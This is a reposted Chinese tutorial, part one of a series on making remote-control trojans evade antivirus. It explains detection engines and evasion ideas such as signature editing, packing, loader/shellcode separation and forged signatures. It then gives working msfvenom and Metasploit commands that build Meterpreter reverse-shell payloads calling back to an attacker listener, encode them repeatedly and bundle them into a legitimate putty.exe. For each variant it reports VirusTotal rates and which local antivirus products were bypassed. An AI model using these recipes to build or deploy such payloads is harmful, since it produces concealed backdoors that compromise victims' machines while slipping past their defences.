[轉]遠控免殺從入門到實踐(一):基礎篇


鄭重聲明

1、文中所涉及的技術、思路和工具僅供以安全為目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則后果自行承擔!

2、文中提到的殺軟檢測指標是 virustotal.com(簡稱VT)上在線查殺結果,所以只是代表了靜態查殺能力,數據僅供參考,不足以作為殺軟查殺能力或免殺工具的判斷指標。

《遠控免殺從入門到實踐》系列文章目錄:

1、遠控免殺從入門到實踐(1)-基礎篇

2、遠控免殺從入門到實踐(2)-工具總結篇

3、遠控免殺從入門到實踐(3)-代碼篇-C/C++

4、遠控免殺從入門到實踐(4)-代碼篇-C#

5、遠控免殺從入門到實踐(5)-代碼篇-Python

6、遠控免殺從入門到實踐(6)-代碼篇-Powershell

7、遠控免殺從入門到實踐(7)-代碼篇-Golang+Ruby

8、遠控免殺從入門到實踐(8)-白名單總結篇

9、遠控免殺從入門到實踐(9)-深入免殺(暫定)

10、遠控免殺從入門到實踐(10)-自研工具篇(暫定)

一、前言

一直從事web安全多一些,對waf繞過還稍微有些研究,但是對遠控免殺的認知還大約停留在ASPack、UPX加殼、特征碼定位及修改免殺的年代。近兩年隨着hw和紅藍對抗的增多,接觸到的提權、內網滲透、域滲透也越來越多。攻擊能力有沒有提升不知道,但防護水平明顯感覺提升了一大截,先不說防護人員的技術水平如果,最起碼各種雲WAF、防火牆、隔離設備部署的多了,服務器上也經常能見到安裝了殺軟、軟waf、agent等等,特別是某數字殺軟在國內服務器上尤為普及。這個時候,不會點免殺技術就非常吃虧了。

但web狗一般對逆向和二進制都不大熟,編譯運行別人的代碼都比較費勁,這時候就只能靠現成的工具來曲線救國了。為此,我從互聯網上搜集了大約20款知名度比較高的免殺工具研究免殺原理及免殺效果測試,后面還學習了一下各種語言編譯加載shellcode的各種姿勢,又補充了一些白名單加載payload的常見利用,於是就有了這一個遠控免殺的系列文章。

1、工具篇內容:msf自免殺、Veil、Venom、Shellter、BackDoor-Factory、Avet、TheFatRat、Avoidz、Green-Hat-Suite、zirikatu、AVIator、DKMC、Unicorn、Python-Rootkit、DKMC、Unicorn、Python-Rootkit、ASWCrypter、nps_payload、GreatSCT、HERCULES、SpookFlare、SharpShooter、CACTUSTORCH、Winpayload等。

2、代碼篇內容:C/C++、C#、python、powershell、ruby、go等。

3、白名單內容:MsBuild、Msiexec、mshta、InstallUtil、rundll32、Regsvr 32、Cmstp、Wmic、CSC、Regasm、Regsvcs、Control、Msxsl、Odbcconf、Compiler等。

已完成的免殺文章及相關軟件下載:https://github.com/TideSec/BypassAntiVirus ,對免殺感興趣的小伙伴可以微信關注”Tide安全團隊”公眾號或與我聯系。

第一篇基礎篇內容比較水,主要介紹了一下殺毒軟件工作原理和免殺原理,並在后面簡單介紹了Metasploit自帶的一些基礎的免殺方式(8種方式),大佬勿噴。部分內容參考互聯網資料,感謝各位前輩大佬的無私分享。

在免殺方面任曉輝編著了一本非常專業的書《黑客免殺攻防》,感興趣的可以看一下。

二、免殺概念

免殺,wiki百科上介紹:也就是反病毒(AntiVirus)與反間諜(AntiSpyware)的對立面,英文為Anti-AntiVirus(簡寫Virus AV),逐字翻譯為“反-反病毒”,翻譯為“反殺毒技術”。

三、殺毒軟件檢測方式

3.1 殺軟常見掃描方式

1、掃描壓縮包技術:即是對壓縮包案和封裝文件作分析檢查的技術。

2、程序竄改防護:即是避免惡意程序借由刪除殺毒偵測程序而大肆破壞電腦。

3、修復技術:即是對惡意程序所損壞的文件進行還原

4、急救盤殺毒:利用空白U盤制作急救啟動盤,來檢測電腦病毒。

5、智能掃描:掃描最常用的磁盤,系統關鍵位置,耗時較短。

6、全盤掃描:掃描電腦全部磁盤,耗時較長。

7、勒索軟件防護:保護電腦中的文件不被黑客惡意加密。

8、開機掃描:當電腦開機時自動進行掃描,可以掃描壓縮文檔和可能不需要的程序

3.2 監控技術

1、內存監控:當發現內存中存在病毒的時候,就會主動報警;監控所有進程;監控讀取到內存中的文件;監控讀取到內存的網絡數據。

2、文件監控:當發現寫到磁盤上的文件中存在病毒,或者是被病毒感染,就會主動報警。

3、郵件監控:當發現電子郵件的附件存在病毒時進行攔截。

4、網頁防護:阻止網絡攻擊和不安全下載。

5、行為防護:提醒用戶可疑的應用程序行為。

四、掃描引擎

4.1 特征碼掃描

機制:將掃描信息與病毒數據庫(即所謂的“病毒特征庫”)進行對照,如果信息與其中的任何一個病毒特征符合,殺毒軟件就會判斷此文件被病毒感染。殺毒軟件在進行查殺的時候,會挑選文件內部的一段或者幾段代碼來作為他識別病毒的方式,這種代碼就叫做病毒的特征碼;在病毒樣本中,抽取特征代碼;抽取的代碼比較特殊,不大可能與普通正常程序代碼吻合;抽取的代碼要有適當長度,一方面維持特征代碼的唯一性,另一方面保證病毒掃描時候不要有太大的空間與時間的開銷。

特征碼類別:

1.文件特征碼:對付病毒在文件中的存在方式:單一文件特征碼、復合文件特征碼(通過多處特征進行判斷);

2.內存特征碼:對付病毒在內存中的存在方式:單一內存特征碼、復合內存特征碼

優點:速度快,配備高性能的掃描引擎;准確率相對比較高,誤殺操作相對較少;很少需要用戶參與。

缺點:采用病毒特征代碼法的檢測工具,面對不斷出現的新病毒,必須不斷更新病毒庫的版本,否則檢測工具便會老化,逐漸失去實用價值;病毒特征代碼法對從未見過的新病毒,無法知道其特征代碼,因而無法去檢測新病毒;病毒特征碼如果沒有經過充分的檢驗,可能會出現誤報,數據誤刪,系統破壞,給用戶帶來麻煩。

4.2 文件校驗和法

對文件進行掃描后,可以將正常文件的內容,計算其校驗和,將該校驗和寫入文件中或寫入別的文件中保存;在文件使用過程中,定期地或每次使用文件前,檢查文件現在內容算出的校驗和與原來保存的校驗和是否一致,因而可以發現文件是否感染病毒。

4.3 進程行為監測法(沙盒模式)

機制:通過對病毒多年的觀察、研究,有一些行為是病毒的共同行為,而且比較特殊,在正常程序中,這些行為比較罕見。比如注冊表操作、添加啟動項、添加服務、添加用戶、注入、劫持、創建進程、加載DLL等等。當程序運行時,監視其進程的各種行為,如果發現了病毒行為,立即報警。

優缺點:

1.優點:可發現未知病毒、可相當准確地預報未知的多數病毒;

2.缺點:可能誤報警、不能識別病毒名稱、有一定實現難度、需要更多的用戶參與判斷;

針對行為的免殺,我們可以使用白名單、替換API、替換操作方式(如使用WMI/COM的方法操作文件)等等方法實現繞過。

4.4 雲查殺

雲查殺的特點基本也可以概括為特征查殺,殺軟會將較可疑但特征庫並沒有響應特征的程序傳回殺軟公司服務器上,進而判斷該程序是否為惡意程序,然后做出響應。所以當你開着殺軟的雲查殺的時候,有時候剛開始沒報病毒,但過一會就提示病毒了,這就是雲查殺的效果。

4.5 主動防御技術

主動防御並不需要病毒特征碼支持,只要殺毒軟件能分析並掃描到目標程序的行為,並根據預先設定的規則,判定是否應該進行清除操作 主動防御本來想領先於病毒,讓殺毒軟件自己變成安全工程師來分析病毒,從而達到以不變應萬變的境界。但是,計算機的智能總是在一系列的規則下誕生,而普通用戶的技術水平達不到專業分析病毒的水平,兩者之間的博弈需要主動防御來平衡。

4.6 機器學習識別技術

機器學習識別技術既可以做靜態樣本的二進制分析,又可以運用在沙箱動態行為分析當中,是為內容/行為+算法模式。伴隨着深度學習的急速發展,各家廠商也開始嘗試運用深度學習技術來識別病毒特征,如瀚思科技的基於深度學習的二進制惡意樣本檢測。

五、免殺技術發展史

參考來源:http://www.myhack58.com/Article/64/2014/52200.htm

理論上講,免殺一定是出現在殺毒軟件之后的。而通過殺毒軟件的發展史不難知道,第一款殺毒軟件kill 1.0是Wish公司1987年推出的,也就是說免殺技術至少是在1989年以后才發展起來的。關於世界免殺技術的歷史信息已無從考證,但從國內來講,免殺技術的起步可以說是非常晚了。

1989年:第一款殺毒軟件Mcafee誕生,標志着反病毒與反查殺時代的到來。

1997年:國內出現了第一個可以自動變異的千面人病毒(Polymorphic/Mutation Virus)。自動變異就是病毒針對殺毒軟件的免殺方法之一,但是與免殺手法的定義有出入。

2002年7月31日:國內第一個真正意義上的變種病毒“中國黑客II”出現,它除了具有新的特征之外,還實現了“中國黑客”第一代所未實現的功能,可見這個變種也是病毒編寫者自己制造的。

2004年:在黑客圈子內部,免殺技術是由黑客動畫吧在這一年首先公開提出,由於當時還沒有CLL等專用免殺工具,所以一般都使用WinHEX逐字節更改。

2005年1月:大名鼎鼎的免殺工具CCL的軟件作者tankaiha在雜志上發表了一篇文章,藉此推廣了CCL,從此國內黑客界才有了自己第一個專門用於免殺的工具。

2005年2月-7月:通過各方面有意或無意的宣傳,黑客愛好者們開始逐漸重視免殺,在類似於免殺技術界的祖師爺黑吧安全網的浩天老師帶領下一批黑客開始有越來越多的討論免殺技術,這為以后木馬免殺的火爆埋下根基。

2005年08月:第一個可查的關於免殺的動畫由黑吧的浩天老師完成,為大量黑客愛好者提供了一個有效的參考,成功地對免殺技術進行了第一次科普。

2005年09月:免殺技術開始真正的火起來。

由上面的信息可見,國內在1997年出現了第一個可以自動變異的千面人病毒,雖然自動變異也可以看為是針對殺毒軟件的一種免殺方法,但是由於與免殺手法的定義有出入,所以如果將國內免殺技術起源定位1997年會顯得比較牽強。

一直等到2002年7月31日,國內第一個真正意義上的變種病毒“中國黑客II”才遲遲出現,因此我們暫且可以將國內免殺技術的起源定位在2002年7月。

六、免殺技術介紹

6.1 修改特征碼

免殺的最基本思想就是破壞特征,這個特征有可能是特征碼,有可能是行為特征,只要破壞了病毒與木馬所固有的特征,並保證其原有功能沒有改變,一次免殺就能完成了。

特征碼:能識別一個程序是一個病毒的一段不大於64字節的特征串

就目前的反病毒技術來講,更改特征碼從而達到免殺的效果事實上包含着兩種方式。

一種是改特征碼,這也是免殺的最初方法。例如一個文件在某一個地址內有“灰鴿子上線成功!”這么一句話,表明它就是木馬,只要將相應地址內的那句話改成別的就可以了,如果是無關痛癢的,直接將其刪掉也未嘗不可。

第二種是針對目前推出的校驗和查殺技術提出的免殺思想,它的原理雖然仍是特征碼,但是已經脫離純粹意義上特征碼的概念,不過萬變不離其宗。其實校驗和也是根據病毒文件中與眾不同的區塊計算出來的,如果一個文件某個特定區域的校驗和符合病毒庫中的特征,那么反病毒軟件就會報警。所以如果想阻止反病毒軟件報警,只要對病毒的特定區域進行一定的更改,就會使這一區域的校驗和改變,從而達到欺騙反病毒軟件的目的。

修改特征碼最重要的是定位特征碼,但是定位了特征碼修改后並不代表程序就能正常運行,費時費力,由於各個殺軟廠商的特征庫不同,所以一般也只能對一類的殺軟起效果。雖然效果不好,但有時候在沒有源碼的情況下可以一用。

6.2 花指令免殺

花指令其實就是一段毫無意義的指令,也可以稱之為垃圾指令。花指令是否存在對程序的執行結果沒有影響,所以它存在的唯一目的就是阻止反匯編程序,或對反匯編設置障礙。

大多數反病毒軟件是靠特征碼來判斷文件是否有毒的,而為了提高精度,現在的特征碼都是在一定偏移量限制之內的,否則會對反病毒軟件的效率產生嚴重的影響!而在黑客們為一個程序添加一段花指令之后,程序的部分偏移會受到影響,如果反病毒軟件不能識別這段花指令,那么它檢測特征碼的偏移量會整體位移一段位置,自然也就無法正常檢測木馬了。

6.3 加殼免殺

說起軟件加殼,簡單地說,軟件加殼其實也可以稱為軟件加密(或軟件壓縮),只是加密(或壓縮)的方式與目的不一樣罷了。殼就是軟件所增加的保護,並不會破壞里面的程序結構,當我們運行這個加殼的程序時,系統首先會運行程序里的殼,然后由殼將加密的程序逐步還原到內存中,最后運行程序。

當我們運行這個加殼的程序時,系統首先會運行程序的“殼”,然后由殼將加密的程序逐步還原到內存中,最后運行程序。這樣一來,在我們看來,似乎加殼之后的程序並沒有什么變化,然而它卻達到了加密的目的,這就是殼的作用。

加殼雖然對於特征碼繞過有非常好的效果,加密殼基本上可以把特征碼全部掩蓋,但是缺點也非常的明顯,因為殼自己也有特征。在某些比較流氓的國產殺軟的檢測方式下,主流的殼如VMP, Themida等,一旦被檢測到加殼直接彈框告訴你這玩意兒有問題,雖然很直接,但是還是挺有效的。有些情況下,有的常見版本的殼會被直接脫掉分析。 面對這種情況可以考慮用一些冷門的加密殼,有時間精力的可以基於開源的壓縮殼改一些源碼,效果可能會很不錯。

總得來說,加殼的方式來免殺還是比較實用的,特別是對於不開源的PE文件,通過加殼可以繞過很多特征碼識別。

6.4 內存免殺

CPU不可能是為某一款加殼軟件而特別設計的,因此某個軟件被加殼后的可執行代碼CPU是讀不懂的。這就要求在執行外殼代碼時,要先將原軟件解密,並放到內存里,然后再通知CPU執行。

因為殺毒軟件的內存掃描原理與硬盤上的文件掃描原理都是一樣的,都是通過特征碼比對的,只不過為了制造迷惑性,大多數反病毒公司的內存掃描與文件掃描采用的不是同一套特征碼,這就導致了一個病毒木馬同時擁有兩套特征碼,必須要將它們全部破壞掉才能躲過反病毒軟件的查殺。

因此,除了加殼外,黑客們對抗反病毒軟件的基本思路沒變。而對於加殼,只要加一個會混淆程序原有代碼的“猛”殼,其實還是能躲過殺毒軟件的查殺的。

6.5 二次編譯

metasploit的msfvenom提供了多種格式的payload和encoder,生成的shellcode也為二次加工提供了很大遍歷,但是也被各大廠商盯得死死的。

而shikata_ga_nai是msf中唯一的評價是excellent的編碼器,這種多態編碼技術使得每次生成的攻擊載荷文件是不一樣的,編碼和解碼也都是不一樣。還可以利用管道進行多重編碼進行免殺。

目前msfvenom的encoder特征基本都進入了殺軟的漏洞庫,很難實現單一encoder編碼而繞過殺軟,所以對shellcode進行進一步修改編譯成了msf免殺的主流。互聯網上有很多借助於C、C#、python等語言對shellcode進行二次編碼從而達到免殺的效果。

6.6 分離免殺

侯亮大神和傾旋大神都分別提到過payload分離免殺和webshell分離免殺,采用分離法,即將ShellCode和加載器分離。網上各種加載器代碼也有很多,各種語言實現的都很容易找到,雖然看起來比較簡單,但效果卻是不錯的。比如侯亮大神提到的shellcode_launcher,加載c代碼,基本沒有能查殺的AV。

6.7 資源修改

有些殺軟會設置有掃描白名單,比如之前把程序圖標替換為360安全衛士圖標就能過360的查殺。

1.加資源

使用ResHacker對文件進行資源操作,找來多個正常軟件,將它們的資源加入到自己軟件,如圖片,版本信息,對話框等。

2.替換資源

使用ResHacker替換無用的資源(Version等)。

3.加簽名

使用簽名偽造工具,將正常軟件的簽名信息加入到自己軟件中。

七、Metasploit自帶免殺

Metasploit自身已經提供了一定免殺機制,比如Evasion模塊、MSF自帶的C編譯模塊、大名鼎鼎的shikata_ga_nai編碼等等,但由於msf被各大安全廠商盯的比較緊,所以這些常規的方法免殺效果肯定是比較差的,但有時把一兩種常規方法稍微結合一下就能達到比較好的免殺效果。

免殺測試主要是使用了metasploit或cobaltstrike生成的代碼或程序進行免殺處理,在實驗機(win7 x64)上安裝了360全家桶和火絨進行本地測試,在https://www.virustotal.com/上進行在線查殺(如果是自己做免殺,建議測試機不要聯互聯網,更不要上傳到virustotal.com類似的平台上)。

在開始實驗之前,寫了一篇文章介紹了一下msfvenom的基本參數和一些小技巧:https://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w,里面基本介紹了msfvenom的所有常用參數,有些參數在msf使用中可能會有一些意想不到的效果。

7.1 原生態payload(VT查殺率53/69)

操作便利★★★★★

免殺效果★

推薦指數★★

詳細文章鏈接:https://mp.weixin.qq.com/s/A0CZslLhCLOK_HgkHGcpEA

在免殺之前,我先生成了一個原始payload作為原始樣本做對比,選用了頻率最高的windows/meterperter/reverse_tcp,這也是被各大殺軟盯的最緊的一個,並以此做為其他免殺的對比衡量標准。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe -o payload1.exe 

經測試,可正常上線。在virustotal.com上查殺率為53/69。這種原生態的居然還有沒查殺出來的,還好意思叫殺軟么…

image.png

7.2 msf自編碼免殺(VT查殺率51/69)

操作便利★★★★★

免殺效果★

推薦指數★★

詳細文章鏈接:https://mp.weixin.qq.com/s/A0CZslLhCLOK_HgkHGcpEA

metasploit提供了多個encoders可以對payload進行處理,使用msfvenom –list encoders可查看所有編碼器。

評級最高的兩個encoder為cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免殺中使用頻率最高的一個編碼器了。

生成示例:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15 -f exe -o payload2.exe 

經測試,可正常上線。在virustotal.com上查殺率為51/69。

由於shikata_ga_nai編碼技術是多態的,也就是說每次生成的payload文件都不一樣,有時生成的文件會被查殺,有時卻不會。當然這個也和編碼次數有一定關系,編碼次數好像超過70次就經常生成出錯,但是編碼次數多並不代表免殺能力強。

7.3 msf自捆綁免殺(VT查殺率39/69)

操作便利★★★★

免殺效果★★

推薦指數★★

詳細文章鏈接:https://mp.weixin.qq.com/s/A0CZslLhCLOK_HgkHGcpEA

在生成payload時可以使用捆綁功能,使用msfvenom的-x參數可以指定一個自定義的可執行文件作為模板,並將payload嵌入其中,-x后面跟對應文件路徑就可以。

我這里使用一個正規的putty.exe作為被捆綁測試軟件。

生成payload命令如下

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -x putty.exe -f exe -o payload3.exe 

測試機器運行,本地的360全家桶和火絨都能查殺該payload。

image(1).png

在virustotal.com上查殺率為39/69

image(2).png

另外,能否免殺也和你選的被捆綁exe有一定關系,可以選微軟的一些工具作為模板exe程序。

7.4 msf自捆綁+編碼(VT查殺率35/69)

操作便利★★★★

免殺效果★★

推薦指數★★

詳細文章鏈接:https://mp.weixin.qq.com/s/A0CZslLhCLOK_HgkHGcpEA

將上面的編碼和捆綁兩種方法結合一下進行嘗試

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -x putty.exe -i 15 -f exe -o payload4.exe 

測試機器執行,發現火絨動態靜態均能查殺,而360不會報病毒。

image(3).png

在關閉火絨后,開啟360安全衛士和殺毒的情況下,可上線,可免殺。

image(4).png

可修改-i編碼次數,編碼次數越多,生成的payload越可能免殺,經測試,編碼5次和6次可免殺360。

在virustotal.com上查殺率為35/69

image(5).png

看來稍微組合一下是能過更多的殺軟的。后面會介紹更多的免殺方法,自己可以嘗試多種免殺進行組合,壘積木一樣的感覺…

7.5 msfvenom多重編碼(VT查殺率45/70)

操作便利★★★★

免殺效果★★

推薦指數★

詳細文章鏈接:https://mp.weixin.qq.com/s/A0CZslLhCLOK_HgkHGcpEA

msfvenom的encoder編碼器可以對payload進行一定程度免殺,同時還可以使用msfvenom多重編碼功能,通過管道,讓msfvenom用不同編碼器反復編碼進行混淆。

如下命令,使用管道讓msfvenom對攻擊載荷多重編碼,先用shikata_ga_nai編碼20次,接着來10次的alpha_upper編碼,再來10次的countdown編碼,最后才生成以putty.exe為模板的可執行文件。

msfvenom  -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe 

image(6).png

還有這種更多重編碼姿勢

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.74.133 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > payload6.exe 

在virustotal.com上查殺率為45/70,編碼多了,免殺率居然降低了。。。尷尬。。。

image(7).png

經過測試,發現使用的編碼類型越多,免殺率可能會降低,猜測是因為各種編碼引入了更多的特征碼。同時生成的payload也很可能無法正常執行,這個也和被捆綁程序有一定關聯。

7.6 Evasion模塊免殺(VT免殺率12-71)

操作便利★★★

免殺效果★★★

推薦指數★★★

詳細文章鏈接:https://mp.weixin.qq.com/s/YnnCM7W20xScv52k_ubxYQ

2019年1月,metasploit升級到了5.0,引入了一個新的模塊叫Evasion模塊,官方宣稱這個模塊可以創建反殺毒軟件的木馬。

evasion有以下幾個模塊,可以使用show evasion進行查看。

使用use windows/windows_defender_exe進行生成payload

msf5 > use windows/windows_defender_exe msf5 evasion(windows/windows_defender_exe) > set filename payload.exe msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp msf5 evasion(windows/windows_defender_exe) > set LHOST 10.211.55.3 msf5 evasion(windows/windows_defender_exe) > set LPORT 3333 msf5 evasion(windows/windows_defender_exe) > run 

經測試,可正常上線。virustotal.com中42/71個報毒。

image(8).png

還可以生成install_util(VT查殺率12/71)和hta(VT查殺率14/59)等,因為使用了白名單加載的方式,所以免殺效果相對好一些。

7.7 msf自編譯+base64處理(VT免殺率33/69)

操作便利★★

免殺效果★★★

推薦指數★★★

詳細文章鏈接:https://mp.weixin.qq.com/s/HsIqUKl7j1WJ4yyYzXdPZg

Metasploit Framework提供了C編譯器,這其實是Metasm的包裝器(Metasm是一個Ruby庫),可用於匯編、反匯編和編譯C代碼。

使用改C編譯器時,需要以下兩個函數:

Metasploit::Framework::Compiler::Windows.compile_c(code)

Metasploit::Framework::Compiler::Windows.compile_c_to_fle(fle_path, code)

操作略微復雜,詳細過程可以參看https://mp.weixin.qq.com/s/HsIqUKl7j1WJ4yyYzXdPZg

最終生成的payloaf在virustotal.com中33/70個報毒

image(9).png

7.8 使用reverse_https(VT免殺率29/70)

操作便利★★

免殺效果★★★

推薦指數★★★

詳細文章鏈接:https://mp.weixin.qq.com/s/HsIqUKl7j1WJ4yyYzXdPZg

主要是參考Green_m的文章:https://www.freebuf.com/sectool/118714.html,可以一定程度的避開殺軟的流量檢測。

使用msfvenom生成payload

msfvenom -p windows/meterpreter/reverse_https lhost=10.211.55.2 lport=3333 -f exe -o payload1.exe 

在VC中編譯后執行,360全免殺

image(10).pngimage(11).png

virustotal.com中29/70個報毒

image(12).png

7.9 使用reverse_tcp_rc4(VT免殺率33/70)

操作便利★★

免殺效果★★★

推薦指數★★★

詳細文章鏈接:https://mp.weixin.qq.com/s/HsIqUKl7j1WJ4yyYzXdPZg

和上面的方法一樣,使用reverse_tcp_rc4也有同樣的效果,而且不用設置stageencoder選項,更穩定更方便。

msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=10.211.55.2 lport=2223 rc4password=tidesec -f c 

利用rc4對傳輸的數據進行加密,密鑰在生成時指定,在監聽的服務端設置相同的密鑰。

在VC中編譯后執行,360全免殺,但是一會兒之后就又被查殺了。

virustotal.com中33/70個報毒

image(13).png

八、參考

很多內容參考了wiki百科和freebuf上Green_m和Anhkgg兩位大佬的文章,在此表示感謝!想深入了解的可在訪問下面鏈接。

免殺技術有一套:https://anhkgg.com/aanti-virus/

Meterpreter免殺及對抗分析:https://www.freebuf.com/sectool/157122.html

免殺藝術:https://www.4hou.com/technology/3853.html

Meterpreter免殺技巧分享:https://www.freebuf.com/sectool/118714.html

msf_wiki: https://github.com/rapid7/metasploit-framework/wiki

Create a wrapper for metasm’s C compiling function:https://github.com/rapid7/metasploit-framework/pull/10007

How to decode Base64 with Metasploit Framework Compiler: https://github.com/rapid7/metasploit-framework/wiki/How-to-decode-Base64-with-Metasploit-Framework-Compiler

使用msf編碼器避開殺毒軟件的檢測:https://www.freebuf.com/column/216599.html

msf多重編碼:https://blog.csdn.net/wyf12138/article/details/79825833

Msfvenom學習總結:http://www.secist.com/archives/3353.html

msfvenom生成后門的免殺測試:http://www.naivete.online/msfvenom%E7%94%9F%E6%88%90%E5%90%8E%E9%97%A8%E7%9A%84%E5%85%8D%E6%9D%80%E6%B5%8B%E8%AF%95/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM